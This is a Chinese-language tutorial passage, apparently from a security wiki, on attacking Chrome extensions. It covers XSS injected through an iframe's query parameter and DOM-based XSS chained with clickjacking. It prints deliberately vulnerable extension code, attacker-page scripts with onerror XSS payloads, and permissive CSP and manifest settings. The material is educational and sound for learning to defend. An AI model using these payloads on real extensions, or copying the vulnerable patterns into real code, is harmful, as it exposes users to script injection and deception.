通过 Iframe 进行跨站脚本攻击 (XSS)
在此设置中,实施了一个 内容脚本 来实例化一个 Iframe,使用带有查询参数的 URL 作为 Iframe 的源:
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
一个公开可访问的 HTML 页面,message.html
,旨在根据 URL 中的参数动态添加内容到文档主体:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
一个恶意脚本在对手的页面上执行,修改 Iframe 源的 content
参数以引入一个 XSS payload。这是通过更新 Iframe 的源以包含一个有害脚本来实现的:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
一个过于宽松的内容安全策略,例如:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
允许执行JavaScript,使系统容易受到XSS攻击。
引发XSS的另一种方法是创建一个Iframe元素,并将其源设置为包含有害脚本作为content
参数:
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
DOM-based XSS + ClickJacking
这个例子取自原始帖子写作。
核心问题源于位于 /html/bookmarks.html
的基于DOM的跨站脚本(XSS)漏洞。以下是有问题的JavaScript,属于 bookmarks.js
:
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
这个代码片段从 txtName
输入字段获取 值,并使用 字符串连接生成 HTML,然后通过 jQuery 的 .append()
函数将其附加到 DOM。
通常,Chrome 扩展的内容安全策略 (CSP) 会防止此类漏洞。然而,由于 CSP 放宽了 ‘unsafe-eval’ 和使用 jQuery 的 DOM 操作方法(这些方法使用 globalEval()
将脚本传递给 eval()
在 DOM 插入时),仍然可以进行利用。
虽然这个漏洞很重要,但其利用通常依赖于用户交互:访问页面、输入 XSS 负载并激活“添加”按钮。
为了增强这个漏洞,利用了一个次要的 clickjacking 漏洞。Chrome 扩展的清单展示了一个广泛的 web_accessible_resources
策略:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
值得注意的是,/html/bookmarks.html
页面容易被框架嵌套,因此容易受到 clickjacking 攻击。此漏洞被利用来在攻击者的网站中嵌套该页面,并用 DOM 元素覆盖它,以欺骗性地重新设计界面。这种操控导致受害者无意中与底层扩展进行交互。
参考文献